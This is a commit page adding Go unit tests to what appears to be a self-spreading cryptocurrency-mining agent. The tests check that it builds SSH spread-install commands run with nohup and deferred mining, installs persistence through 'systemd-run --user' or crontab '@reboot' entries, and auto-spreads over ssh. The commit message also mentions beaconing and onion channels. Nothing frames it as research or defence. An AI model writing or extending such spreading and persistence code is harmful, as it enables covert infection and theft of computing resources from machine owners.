Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
65
agent/deploy/linux_lotl_test.go
Normal file
65
agent/deploy/linux_lotl_test.go
Normal file
@@ -0,0 +1,65 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
|
||||
cmd := sshSpreadStartCmd("/tmp/af-worker")
|
||||
for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
|
||||
if !strings.Contains(cmd, want) {
|
||||
t.Fatalf("cmd=%q missing %q", cmd, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "systemd-run --user") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
if !strings.Contains(cmd, "--defer-mining") {
|
||||
t.Fatal("expected defer-mining in systemd persist")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
|
||||
if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
|
||||
ok, msg := tryLotlTier(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
|
||||
}, "linux")
|
||||
if !ok {
|
||||
t.Fatalf("linux tier should succeed, got %q", msg)
|
||||
}
|
||||
if !strings.Contains(msg, "ssh") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user